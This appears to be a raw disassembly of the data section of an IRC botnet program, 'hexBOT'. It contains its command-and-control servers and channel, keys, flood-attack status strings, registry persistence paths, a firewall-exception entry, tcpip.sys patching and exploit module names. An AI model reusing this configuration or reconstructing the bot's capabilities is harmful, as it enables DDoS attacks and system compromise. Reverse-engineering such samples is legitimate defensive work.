aSetsockoptFail	db ' setsockopt() failed, returned %d',0
		align 4
unk_41F228	db    2			; DATA XREF: sub_4058B9+49o
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  49h	; I
		db 63h,	6Dh, 70h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 3, 31h, 35h
aSocketFailedRe	db ' socket() failed, returned %d',0
		align 4
dword_41F25C	dd 32310302h, 3531035Bh, 676E6950h, 5D323103h, 3531030Fh
					; DATA XREF: sub_405CA0+13Co
		dd 6E696620h, 65687369h, 65732064h, 6E69646Eh, 69702067h
		dd 2073676Eh, 3206F74h,	73253231h, 0
dword_41F294	dd 32310302h, 3531035Bh, 676E6950h, 5D323103h, 3531030Fh
					; DATA XREF: sub_405CA0+6Eo
		dd 72726520h, 7320726Fh, 69646E65h, 7020676Eh, 73676E69h
		dd 206F7420h, 25323103h, 73h
dword_41F2C8	dd 32310302h, 3531035Bh, 3706455h, 0F5D3231h, 20353103h
					; DATA XREF: sub_405E2C+1C6o
		dd 696E6966h, 64656873h, 6E657320h, 676E6964h, 63617020h
		dd 7374656Bh, 206F7420h, 25323103h, 73h
dword_41F300	dd 32310302h, 3531035Bh, 3706455h, 0F5D3231h, 20353103h
					; DATA XREF: sub_405E2C+8Eo
		dd 6F727265h, 65732072h, 6E69646Eh, 61702067h, 74656B63h
		dd 6F742073h, 32310320h, 7325h
dword_41F334	dd 32310302h, 3531035Bh, 53796B53h, 31036E79h, 30F5D32h
					; DATA XREF: sub_406042+4Bo
		dd 44203531h, 20656E6Fh, 68746977h, 6F6C6620h, 320646Fh
		dd 25283231h, 2F424B69h, 29636573h, 0
dword_41F36C	dd 32310302h, 3531035Bh, 36E7953h, 0F5D3231h, 20353103h
					; DATA XREF: sub_4061E8+4Bo
		dd 656E6F44h, 74697720h, 6C662068h, 20646F6Fh, 28323103h
		dd 424B6925h, 6365732Fh, 2E29h
dword_41F3A0	dd 32310302h, 3531035Bh, 36E7953h, 0F5D3231h, 20353103h
					; DATA XREF: sub_406287+27Do
		dd 646E6553h, 72726520h, 203A726Fh, 25323103h, 2E64h
dword_41F3C8	dd 32310302h, 3531035Bh, 67726154h, 31033361h, 30F5D32h
					; DATA XREF: sub_406593+4Fo
a15DoneWithFloo	db '15 Done with flood.',0
dword_41F3F0	dd 32310302h, 3531035Bh, 46706354h, 646F6F6Ch, 5D323103h
					; DATA XREF: sub_406851+5Eo
		dd 3531030Fh, 6E6F6420h, 69772065h, 66206874h, 646F6F6Ch
		dd 20746120h, 25323103h, 2F424B69h, 636573h
dword_41F428	dd 32310302h, 3531035Bh, 46706354h, 646F6F6Ch, 5D323103h
					; DATA XREF: sub_406906+302o
		dd 3531030Fh, 6E657320h, 72652064h, 3A726F72h, 32310320h
		dd 6425h
dword_41F454	dd 2E706374h, 6E6172h	; DATA XREF: sub_406906:loc_406A32o
					; sub_40997B+16F8o
dword_41F45C	dd 2E706374h, 6B6361h	; DATA XREF: sub_406906:loc_406A16o
					; sub_40997B+16E1o
dword_41F464	dd 2E706374h, 6E7973h	; DATA XREF: sub_406906+F1o
					; sub_40997B+16CAo
dword_41F46C	dd 32310302h, 3531035Bh, 6E757354h, 3696D61h, 0F5D3231h
					; DATA XREF: sub_406CED+66o
		dd 20353103h, 656E6F44h, 74697720h, 6C662068h, 2C646F6Fh
		dd 32310320h, 3206425h,	61703531h, 74656B63h, 65732073h
		dd 2E746Eh
unk_41F4AC	db    2			; DATA XREF: sub_406FF0+4Do
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  57h	; W
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	55h, 64h
		db  70h	; p
		db 3, 31h, 32h
		db  5Dh	; ]
		db 0Fh,	3, 31h
a5StartingWisdo	db '5 Starting Wisdom spoofed UDP flood thread.',0
dword_41F4F0	dd 32310302h, 3531035Bh, 64736957h, 64556D6Fh, 32310370h
					; DATA XREF: sub_407067+345o
		dd 31030F5Dh, 72452035h, 20726F72h, 646E6573h, 20676E69h
		dd 6B636170h, 20737465h, 3206F74h, 73253231h, 2E353103h
		dd 78616520h, 434F533Dh, 5F54454Bh, 4F525245h, 57202C52h
		dd 65474153h, 73614C74h, 72724574h, 2928726Fh, 3231033Dh
		dd 31036425h, 73202E35h, 6F657A69h, 75622866h, 72656666h
		dd 203D2029h, 25323103h, 35310364h, 6150202Eh, 74656B63h
		dd 65732073h, 7320746Eh, 73656375h, 6C756673h, 3D20796Ch
		dd 32310320h, 2E6425h
dword_41F598	dd 32310302h, 3531035Bh, 64736957h, 64556D6Fh, 32310370h
					; DATA XREF: sub_407067+2F3o
		dd 31030F5Dh, 69462035h, 6873696Eh, 73206465h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 3103206Fh, 3732532h
		dd 202E3531h, 746E6553h, 32310320h, 3206425h, 61703531h
		dd 74656B63h, 2E297328h, 32310320h, 4D64257Eh, 31032042h
		dd 20666F35h, 61746164h, 6E657320h, 31032074h, 257E2832h
		dd 732F4B64h, 2E29h
dword_41F618	dd 32310302h, 3531035Bh, 64736957h, 64556D6Fh, 32310370h
					; DATA XREF: sub_407067+CCo
		dd 31030F5Dh, 65532035h, 6E69646Eh, 61702067h, 74656B63h
		dd 6F742073h, 32310320h, 31037325h, 2E2E2E35h, 0
dword_41F654	dd 32310302h, 3531035Bh, 64736957h, 64556D6Fh, 32310370h
					; DATA XREF: sub_407067+80o
		dd 31030F5Dh, 6E492035h, 696C6176h, 61742064h, 74656772h
		dd 2E504920h, 41535720h, 4C746547h, 45747361h, 726F7272h
		dd 72202928h, 72757465h, 320736Eh, 64253231h, 2Eh
dword_41F6A4	dd 32310302h, 3531035Bh, 64736957h, 64556D6Fh, 32310370h
					; DATA XREF: sub_407067+63o
		dd 31030F5Dh, 72452035h, 20726F72h, 6C6C6163h, 20676E69h
		dd 73746573h, 6F6B636Fh, 29287470h, 5357202Eh, 74654741h
		dd 7473614Ch, 6F727245h, 20292872h, 75746572h, 20736E72h
		dd 25323103h, 2E64h
unk_41F6FC	db    2			; DATA XREF: sub_407067+2Ao
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  57h	; W
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	55h, 64h
		db  70h	; p
		db 3, 31h, 32h
		db  5Dh	; ]
		db 0Fh,	3, 31h
a5ErrorCallingS	db '5 Error calling socket().',0
		align 10h
dword_41F730	dd 32310302h, 3531035Bh, 6B6E6F57h, 5D323103h, 3531030Fh
					; DATA XREF: sub_4073B3+60o
		dd 6E6F4420h, 69772065h, 66206874h, 646F6F6Ch, 6F70202Ch
		dd 20737472h, 3A746968h, 32310320h, 7325h
dword_41F768	dd 64257325h, 20h	; DATA XREF: sub_407550+204o
dword_41F770	dd 20h			; DATA XREF: sub_407550+1C8o
					; sub_40997B+A4o ...
dword_41F774	dd 25323103h, 25202E64h, 203D2073h, 25353103h, 73h
					; DATA XREF: sub_4079D6+35o
dword_41F788	dd 32310302h, 31035B2Eh, 696C4135h, 4C207361h, 3747369h
					; DATA XREF: sub_4079D6+10o
		dd 2E5D3231h, 0
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_407A4E+60o
		align 4
dword_41F7C8	dd 32310302h, 3531035Bh, 73676F4Ch, 5D323103h, 3103200Fh
					; DATA XREF: sub_407AEE+1Ao
		dd 656C4335h, 64657261h, 2Eh
unk_41F7E8	db    2			; DATA XREF: sub_407B2E+DCo
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  4Ch	; L
		db 6Fh,	67h, 73h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
a5ListComplete_	db '5 List Complete.',0
		align 10h
dword_41F810	dd 32310302h, 3531035Bh, 73676F4Ch, 5D323103h, 3103200Fh
					; DATA XREF: sub_407B2E+3Fo
		dd 67654235h, 6E69h, 0
dword_41F830	dd 80000002h, 41FCE8h, 80000002h, 41FD18h, 80000001h, 41FD50h
					; DATA XREF: sub_407C5D+7o
dword_41F848	dd 32310302h, 3531035Bh, 6E776F44h, 64616F6Ch, 5D323103h
					; DATA XREF: sub_407C5D+63o
					; sub_407CCD+4AFo
		dd 3103200Fh, 64614235h, 4C525520h, 726F202Ch, 534E4420h
		dd 72724520h, 203A726Fh, 25323103h, 35310373h, 2Eh
dword_41F884	dd 32310302h, 3531035Bh, 6E776F44h, 64616F6Ch, 5D323103h
					; DATA XREF: sub_407CCD+4A1o
		dd 3103200Fh, 64705535h, 20657461h, 6C696166h, 203A6465h
		dd 6F727245h, 78652072h, 74756365h, 20676E69h, 656C6966h
		dd 3103203Ah, 3732532h,	2E3531h
dword_41F8CC	dd 32310302h, 3531035Bh, 6E776F44h, 64616F6Ch, 5D323103h
					; DATA XREF: sub_407CCD+3E5o
		dd 3103200Fh, 776F4435h, 616F6C6Eh, 20646564h, 25323103h
		dd 4B66312Eh, 35310342h, 206F7420h, 25323103h, 35310373h
		dd 25204020h, 4B66312Eh, 65732F42h, 31032E63h, 70552032h
		dd 69746164h, 2E676Eh
unk_41F924	db    2			; DATA XREF: sub_407CCD+35Co
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  44h	; D
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
		db  35h	; 5
		db 4Fh,	70h, 65h
		db  6Eh	; n
		db 65h,	64h, 3Ah
		db  20h
		db 3, 31h, 32h
		db  25h	; %
		db 73h,	3, 31h
a5_NowRemovingB	db '5. Now removing bot...',0
		align 4
dword_41F964	dd 32310302h, 3531035Bh, 6E776F44h, 64616F6Ch, 5D323103h
					; DATA XREF: sub_407CCD+2F6o
		dd 3103200Fh, 65704F35h, 3A64656Eh, 32310320h, 2E7325h
aOpen		db 'open',0             ; DATA XREF: sub_407CCD+2CAo
		align 4
unk_41F994	db    2			; DATA XREF: sub_407CCD+286o
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  44h	; D
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
		db  35h	; 5
		db 44h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 65h,	64h, 20h
		db    3
		db 31h,	32h, 25h
		db  2Eh	; .
		db 31h,	66h, 20h
		db  4Bh	; K
		db 42h,	3, 31h
		db  35h	; 5
		db 20h,	74h, 6Fh
		db  20h
		db 3, 31h, 32h
		db  25h	; %
		db 73h,	3, 31h
a5@_1fKbSec_	db '5 @ %.1f KB/sec.',0
		align 4
dword_41F9E4	dd 32310302h, 3531035Bh, 6E776F44h, 64616F6Ch, 5D323103h
					; DATA XREF: sub_407CCD+1D8o
		dd 3103200Fh, 6C694635h, 7A697365h, 73692065h, 636E6920h
		dd 6572726Fh, 203A7463h, 28323103h, 21206425h, 6425203Dh
		dd 2E29h
dword_41FA24	dd 32310302h, 3531035Bh, 6E776F44h, 64616F6Ch, 5D323103h
					; DATA XREF: sub_407CCD+195o
		dd 3103200Fh, 64705535h, 3A657461h, 32310320h, 3207325h
a15DkbTransferr	db '15(%dKB transferred).',0
		align 4
unk_41FA64	db    2			; DATA XREF: sub_407CCD+183o
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  44h	; D
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
		db  35h	; 5
		db 46h,	69h, 6Ch
		db  65h	; e
		db 20h,	64h, 6Fh
		db  77h	; w
		db 6Eh,	6Ch, 6Fh
		db  61h	; a
		db 64h,	3Ah, 20h
		db    3
		db 31h,	32h, 25h
		db  73h	; s
		db 20h,	3, 31h
a5DkbTransferre	db '5(%dKB transferred).',0
		align 4
dword_41FAAC	dd 32310302h, 3531035Bh, 6E776F44h, 64616F6Ch, 5D323103h
					; DATA XREF: sub_407CCD+77o
		dd 3103200Fh, 756F4335h, 276E646Ch, 706F2074h, 66206E65h
		dd 3A656C69h, 32310320h, 2E7325h
dword_41FAE0	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_408318+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41FB2C	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_408318+E3o
; ---------------------------------------------------------------------------


loc_41FB48:				; DATA XREF: sub_408318+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_41FB5C	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_408318+13Fo
dword_41FB70	dd 25207325h, 253A2073h, 0A0D73h ; DATA	XREF: sub_4084CC+5Do
dword_41FB7C	dd 7325h		; DATA XREF: sub_4084CC+3Do
					; sub_40997B+248Eo ...
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_4084CC+16o
					; sub_40997B+605o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_4084CC+Fo
					; sub_40997B+611o
		align 10h
aA:					; DATA XREF: sub_408F2E+29o
		unicode	0, <€>,0
		dd 0Fh dup(0)
aS02x		db '%s%02X',0           ; DATA XREF: sub_408FD8+44o
		align 4
dword_41FBD8	dd 1B58h		; DATA XREF: sub_409034+441r
					; sub_409034+4F4r
dword_41FBDC	dd 0C8Bh		; DATA XREF: sub_409034+540r
		dd 45h
dword_41FBE4	dd 1			; DATA XREF: sub_40997B+647r
dword_41FBE8	dd 1			; DATA XREF: sub_409034+142r
dword_41FBEC	dd 1			; DATA XREF: sub_404CE2+Cr
					; sub_409034+351r
word_41FBF0	dw 7C7h			; DATA XREF: sub_401000+30r
					; sub_401294+Dr
byte_41FBF2	db 2Eh			; DATA XREF: sub_4081DB:loc_4081E7r
					; sub_40997B+6B2r ...
		align 4
dword_41FBF4	dd 6			; DATA XREF: sub_40DE6E+2Br
					; sub_40DE6E+51r ...
dword_41FBF8	dd 2			; DATA XREF: sub_4095BB+A8r
					; sub_40997B+25Er ...
dword_41FBFC	dd 1			; DATA XREF: sub_409034:loc_4093A2r
dword_41FC00	dd 1			; DATA XREF: sub_405076+35Bw
					; sub_4095BB+E3r
		align 8
aDcom135_0	db 'dcom135',0
		db 2 dup(0)
byte_41FC12	db 1			; DATA XREF: sub_40997B:loc_40C8FEr
					; sub_40997B+2F88o
aAsn445_0	db 'asn445',0
		align 4
		dd 306E0100h, 6230h, 0
		dd 1, 2	dup(0)
aHortsfor	db 'hortsfor',0         ; DATA XREF: sub_409034+5Ao
					; sub_40997B+1B9Eo ...
		align 10h
aHexbotByN00b	db 'hexBOT By n00b',0   ; DATA XREF: sub_40997B:loc_40D925o
		align 10h
aCool		db 'cool',0             ; DATA XREF: sub_40997B+722o
					; sub_40997B+984o
		align 4
aSaber4_ircqfor	db 'saber4.ircqforum.com',0 ; DATA XREF: sub_409034+42Co
					; sub_409034+4E5o
		align 10h
aFaak		db '#FAAK#',0           ; DATA XREF: sub_409034+44Do
					; sub_409034+4FBo
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: sub_409034+464o
					; sub_409034+50Do
		align 10h
byte_41FC80	db 73h			; DATA XREF: sub_409034:loc_409557r
					; sub_409034+531o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#FAAK#',0           ; DATA XREF: sub_409034+547o
		align 4
aSaad__0	db 'saad.',0            ; DATA XREF: sub_409034+559o
		align 4
byte_41FCA4	db 64h			; DATA XREF: sub_401000+7Ao
					; .packed:00402240o ...
		db 7Ah,	70h, 6Eh
		dd 6D756461h, 78652E6Eh, 65h
aInternet	db 'Internet',0         ; DATA XREF: sub_407C5D+Eo
					; sub_409034+37Co
		align 10h
aN00b		db 'n00b-',0            ; DATA XREF: sub_40DE6E+12o
		align 4
aXtIb		db '-xt+iB',0           ; DATA XREF: sub_40997B+4142o
		align 10h
aF		db '#f',0               ; DATA XREF: sub_40997B:loc_40C087o
					; sub_40997B+325Ao
		align 4
aF_0		db '#f',0               ; DATA XREF: .packed:00402C0Ao
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_40997B+2262o
					; sub_40997B+227Co ...
		align 4
aF_2		db '#f',0               ; DATA XREF: sub_405076+336o
		align 10h
off_41FCE0	dd offset a@admin_com	; DATA XREF: sub_40997B:loc_40A283o
					; "*@admin.com"
off_41FCE4	dd offset aHexbotByN00bOn ; DATA XREF: sub_40997B+85Ar
					; sub_40997B+924o
					; "hexBOT By n00b on DALnet"
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\OLE',0
		align 4
aSystemCurren_0	db 'SYSTEM\CurrentControlSet\Control\Lsa',0
		align 10h
dword_41FD90	dd 10h			; DATA XREF: sub_40997B+A18r
					; sub_40997B+A4Ar
aHexbotByN00bOn	db 'hexBOT By n00b on DALnet',0 ; DATA XREF: .packed:off_41FCE4o
		align 10h
a@admin_com	db '*@admin.com',0      ; DATA XREF: .packed:off_41FCE0o
dword_41FDBC	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_409034+3F0o
		dd 746F4235h, 61747320h, 64657472h, 2Eh
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
					; DATA XREF: sub_409034+3A9o
		db 'lPolicy\StandardProfile\AuthorizedApplications\List',0
		align 4
aSEnabledS	db '%s:*:Enabled:%s',0  ; DATA XREF: sub_409034+382o
aSDS		db '%s %d "%s"',0       ; DATA XREF: sub_409034+286o
		align 4
aSS_0		db '%s\%s',0            ; DATA XREF: sub_409034+189o
					; sub_409034+343o
		align 4
aSS_1		db '%s%s',0             ; DATA XREF: sub_409034+10Do
		align 4
dword_41FE84	dd 32310302h, 3531035Bh, 63746150h, 3726568h, 0F5D3231h
					; DATA XREF: sub_4095BB+168o
		dd 35310320h, 49706354h, 61502070h, 65686374h, 2E72h
aSDriversTcpip_	db '%s\drivers\tcpip.sys',0 ; DATA XREF: sub_4095BB+11Do
		align 4
dword_41FEC4	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_4095BB+D9o
		dd 6E6F4335h, 7463656Eh, 74206465h, 3103206Fh, 2E732532h
		dd 0
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_409802+63o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_409802+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40997B+414Ao
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40997B+4132o
		align 4
dword_41FF38	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+411Bo
		dd 6E615235h, 206D6F64h, 6B63696Eh, 61686320h, 3A65676Eh
		dd 32310320h, 7325h
dword_41FF68	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+4018o
		dd 55202035h, 20726573h, 25323103h, 35310373h, 746F6E20h
		dd 676F6C20h, 676E6967h, 74756F20h, 32310320h, 3531032Dh
		dd 32505320h, 786F6220h, 2Eh
dword_41FFB0	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+3FAFo
		dd 732535h
dword_41FFC8	dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 0F5Dh
					; DATA XREF: sub_40997B+3FA0o
dword_41FFDC	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_40997B+3F9Bo
dword_41FFEC	dd 32310302h, 3531035Bh, 64736957h, 31036D6Fh, 200F5D32h
					; DATA XREF: sub_40997B+3F6Ao
		dd 52353103h, 6E6F6365h, 7463656Eh, 2E676E69h, 0
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40997B:loc_40D8DAo
		align 4
dword_42002C	dd 32310302h, 3531035Bh, 64736957h, 31036D6Fh, 200F5D32h
					; DATA XREF: sub_40997B+3F4Ao
		dd 44353103h, 6F637369h, 63656E6Eh, 676E6974h, 2Eh
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40997B:loc_40D8BAo
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40997B:loc_40D8A6o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40997B+3F1Bo
		align 4
dword_420088	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+3ECBo
		dd 61745335h, 3A737574h, 61655220h, 202E7964h, 20746F42h
		dd 69747055h, 203A656Dh, 25323103h, 2E73h
dword_4200C0	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+3EB7o
		dd 746F4235h, 3A444920h, 32310320h, 2E7325h
aRestartFailed_	db 'Restart failed. Couldn',27h,'t open file: %s',0
					; DATA XREF: sub_40997B+3EA8o
		align 4
aCloneRunning__	db 'Clone running... now restarting...',0 ; DATA XREF: sub_40997B+3E87o
		align 10h
dword_420130	dd 32310302h, 3531035Bh, 65726854h, 3736461h, 0F5D3231h
					; DATA XREF: sub_40997B+3DEAo
		dd 35310320h, 6C696146h, 74206465h, 7473206Fh, 20747261h
		dd 7473696Ch, 72687420h, 2C646165h, 72726520h, 203A726Fh
		dd 25323103h, 35310364h, 2Eh
dword_420178	dd 32310302h, 3531035Bh, 65726854h, 3736461h, 0F5D3231h
					; DATA XREF: sub_40997B+3D79o
		dd 35310320h, 7473694Ch, 72687420h, 73646165h, 2Eh
dword_4201A0	dd 627573h		; DATA XREF: sub_40997B+3D53o
dword_4201A4	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+3D07o
		dd 696C4135h, 6C207361h, 2E747369h, 0
dword_4201C8	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+3CEEo
		dd 69614635h, 2064656Ch, 73206F74h, 74726174h, 73696C20h
		dd 676E6974h, 72687420h, 2C646165h, 72726520h, 203A726Fh
		dd 25323103h, 35310364h, 2Eh
dword_420210	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+3C79o
		dd 73694C35h, 676E6974h, 676F6C20h, 2Eh
dword_420234	dd 32310302h, 3531035Bh, 4974654Eh, 36F666Eh, 0F5D3231h
					; DATA XREF: sub_40997B+3BEAo
		dd 35310320h, 7774654Eh, 206B726Fh, 6F666E49h, 2Eh
dword_42025C	dd 32310302h, 3531035Bh, 49737953h, 36F666Eh, 0F5D3231h
					; DATA XREF: sub_40997B+3BB4o
		dd 35310320h, 74737953h, 49206D65h, 2E6F666Eh, 0
dword_420284	dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh
					; DATA XREF: sub_40997B+3B75o
		dd 61463531h, 64656C69h, 206F7420h, 72617473h, 696C2074h
		dd 6E697473h, 68742067h, 64616572h, 7265202Ch, 3A726F72h
		dd 32310320h, 31036425h, 2E35h
dword_4202CC	dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh
					; DATA XREF: sub_40997B+3B04o
		dd 72503531h, 6563636Fh, 6C207373h, 2E747369h, 0
aFull		db 'full',0             ; DATA XREF: sub_40997B+3AE4o
		align 4
dword_4202FC	dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh
					; DATA XREF: sub_40997B+3A8Fo
a15alreadyRunni	db '15Already running.',0
		align 4
dword_420324	dd 32310302h, 3531035Bh, 706D6349h, 6F6F6C46h, 32310364h
					; DATA XREF: sub_40997B:loc_40D3D9o
		dd 3200F5Dh
a15invalidFlood	db '15Invalid flood time must be greater than 0.',0
		align 4
dword_42036C	dd 32310302h, 3531035Bh, 706D6349h, 6F6F6C46h, 32310364h
					; DATA XREF: sub_40997B+3A54o
		dd 3200F5Dh, 61463531h,	64656C69h, 206F7420h, 72617473h
		dd 6C662074h, 20646F6Fh, 65726874h, 202C6461h, 6F727265h
		dd 3203A72h, 64253231h,	2E353103h, 0
dword_4203B8	dd 32310302h, 3531035Bh, 706D6349h, 6F6F6C46h, 32310364h
					; DATA XREF: sub_40997B+39E0o
		dd 3200F5Dh, 6C463531h,	69646F6Fh, 203A676Eh, 28323103h
		dd 3297325h, 66203531h,	320726Fh, 73253231h, 20353103h
		dd 6F636573h, 2E73646Eh, 0
dword_420400	dd 32310302h, 3531035Bh, 67726154h, 31033361h, 200F5D32h
					; DATA XREF: sub_40997B+394Eo
		dd 46353103h, 656C6961h, 6F742064h, 61747320h, 66207472h
		dd 646F6F6Ch, 72687420h, 2C646165h, 72726520h, 203A726Fh
		dd 25323103h, 35310364h, 2Eh
dword_420448	dd 32310302h, 3531035Bh, 67726154h, 31033361h, 200F5D32h
					; DATA XREF: sub_40997B+38DFo
		dd 46353103h, 646F6F6Ch, 20676E69h, 25323103h, 35310373h
		dd 726F6620h, 32310320h, 31037325h, 65732035h, 646E6F63h
		dd 2E73h
dword_420488	dd 32310302h, 3531035Bh, 6E757354h, 3696D61h, 0F5D3231h
					; DATA XREF: sub_40997B+386Do
		dd 35310320h, 6C696146h, 74206465h, 7473206Fh, 20747261h
		dd 6F6F6C66h, 68742064h, 64616572h, 7265202Ch, 3A726F72h
		dd 32310320h, 31036425h, 2E35h
unk_4204D0	db    2			; DATA XREF: sub_40997B+37FEo
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  54h	; T
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 3
		db  31h	; 1
		db 32h,	5Dh, 0Fh
		db  20h
		db 3, 31h, 35h
		db  54h	; T
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 20h
		db  68h	; h
		db 65h,	61h, 64h
		db  69h	; i
		db 6Eh,	67h, 20h
		db  66h	; f
		db 6Fh,	72h, 20h
		db    3
a12SSSeconds_	db '12%s (%s seconds).',0
dword_420510	dd 32310302h, 3531035Bh, 46706354h, 646F6F6Ch, 5D323103h
					; DATA XREF: sub_40997B+378Co
		dd 3103200Fh, 69614635h, 2064656Ch, 73206F74h, 74726174h
		dd 6F6C6620h, 7420646Fh, 61657268h, 65202C64h, 726F7272h
		dd 3103203Ah, 3642532h,	2E3531h
dword_420558	dd 32310302h, 3531035Bh, 46706354h, 646F6F6Ch, 5D323103h
					; DATA XREF: sub_40997B+371Do
		dd 3103200Fh, 6F6C4635h, 6E69646Fh, 3203A67h, 25283231h
		dd 73253A73h, 35310329h, 726F6620h, 32310320h, 31037325h
		dd 65732035h, 646E6F63h, 2E73h
dword_4205A0	dd 32310302h, 3531035Bh, 36E7953h, 0F5D3231h, 35310320h
					; DATA XREF: sub_40997B+367Eo
		dd 6C696146h, 74206465h, 7473206Fh, 20747261h, 6F6F6C66h
		dd 68742064h, 64616572h, 7265202Ch, 3A726F72h, 32310320h
		dd 31036425h, 2E35h
dword_4205E4	dd 32310302h, 3531035Bh, 36E7953h, 0F5D3231h, 35310320h
					; DATA XREF: sub_40997B+360Fo
		dd 6F6F6C46h, 676E6964h, 3103203Ah, 73252832h, 2973253Ah
		dd 20353103h, 20726F66h, 25323103h, 35310373h, 63657320h
		dd 73646E6Fh, 2Eh
dword_420628	dd 32310302h, 3531035Bh, 6B6E6F57h, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+3581o
		dd 69614635h, 2064656Ch, 73206F74h, 74726174h, 6F6C6620h
		dd 7420646Fh, 61657268h, 65202C64h, 726F7272h, 3103203Ah
		dd 3642532h, 2E3531h
dword_42066C	dd 32310302h, 3531035Bh, 6B6E6F57h, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+3512o
		dd 6F6C4635h, 6E69646Fh, 31032067h, 3732532h, 66203531h
		dd 320726Fh, 73253231h,	20353103h, 6F636573h, 2073646Eh
		dd 6E697375h, 65642067h, 2079616Ch, 25323103h, 35310373h
		dd 2E736D20h, 0
dword_4206C4	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+3458o
		dd 74705535h, 3A656D69h, 32310320h, 2E7325h
unk_4206E8	db    2			; DATA XREF: sub_40997B:loc_40CD78o
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  46h	; F
		db 6Ch,	75h, 73h
		db  68h	; h
		db 44h,	6Eh, 73h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
a5failedToLoadD	db '5Failed to load dnsapi.dll.',0
unk_42071C	db    2			; DATA XREF: sub_40997B:loc_40CD5Do
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  46h	; F
